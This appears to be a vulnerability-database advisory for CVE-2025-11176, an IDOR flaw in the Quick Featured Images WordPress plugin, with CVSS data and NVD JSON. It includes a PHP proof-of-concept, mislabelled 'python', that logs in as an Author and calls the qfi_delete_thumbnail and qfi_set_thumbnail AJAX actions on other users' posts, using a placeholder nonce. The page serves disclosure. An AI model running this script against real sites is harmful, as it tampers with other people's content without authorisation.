Security Vulnerability Report
中文
CVE-2025-11176 CVSS 4.3 MEDIUM

CVE-2025-11176

Published: 2025-10-15 06:15:38
Last Modified: 2026-04-15 00:35:42

Description

The Quick Featured Images plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 13.7.2 via the qfi_set_thumbnail and qfi_delete_thumbnail AJAX actions due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Author-level access and above, to change or remove featured images of other user's posts.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Quick Featured Images < 13.7.2
Quick Featured Images <= 13.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-11176 PoC - Quick Featured Images IDOR Vulnerability * * This PoC demonstrates how an authenticated attacker with Author-level access * can exploit the missing authorization check in qfi_set_thumbnail and * qfi_delete_thumbnail AJAX actions to modify or remove featured images * of other users' posts. * * Usage: Replace the placeholders and execute via command line or HTTP client. */ // Target WordPress site URL $target_url = 'https://target-wordpress-site.com'; // Attacker credentials (Author-level or above) $username = 'attacker_username'; $password = 'attacker_password'; // Target post ID whose featured image we want to modify/delete $target_post_id = 123; // Step 1: Authenticate and obtain session cookie $login_url = $target_url . '/wp-login.php'; $cookie_file = tempnam(sys_get_temp_dir(), 'wp_cookie_'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to'=> $target_url . '/wp-admin/', 'testcookie' => 1 ])); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); curl_close($ch); echo "[*] Logged in successfully\n"; // Step 2: Exploit qfi_delete_thumbnail to remove target post's featured image $ajax_url = $target_url . '/wp-admin/admin-ajax.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ajax_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'qfi_delete_thumbnail', 'post_id' => $target_post_id, // User-controlled key without validation '_wpnonce' => 'bypass_or_obtain_nonce' // Nonce may also be weak/missing ])); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] qfi_delete_thumbnail response (HTTP $http_code): $response\n"; // Step 3: Exploit qfi_set_thumbnail to set attacker's image as featured image $attacker_image_id = 456; // ID of an image uploaded by the attacker $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ajax_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'qfi_set_thumbnail', 'post_id' => $target_post_id, // Target post owned by another user 'thumbnail_id'=> $attacker_image_id, '_wpnonce' => 'bypass_or_obtain_nonce' ])); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] qfi_set_thumbnail response (HTTP $http_code): $response\n"; // Cleanup unlink($cookie_file); echo "[*] Exploit completed. Target post's featured image has been modified/removed.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11176", "sourceIdentifier": "[email protected]", "published": "2025-10-15T06:15:38.163", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quick Featured Images plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 13.7.2 via the qfi_set_thumbnail and qfi_delete_thumbnail AJAX actions due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Author-level access and above, to change or remove featured images of other user's posts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quick-featured-images/tags/13.7.2/admin/class-Quick_Featured_Images_Columns.php#L506", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3376996%40quick-featured-images%2Ftrunk&old=3271680%40quick-featured-images%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4f9a1cfc-5e52-40da-bb9d-8f2b46d37c8c?source=cve", "source": "[email protected]"}]}}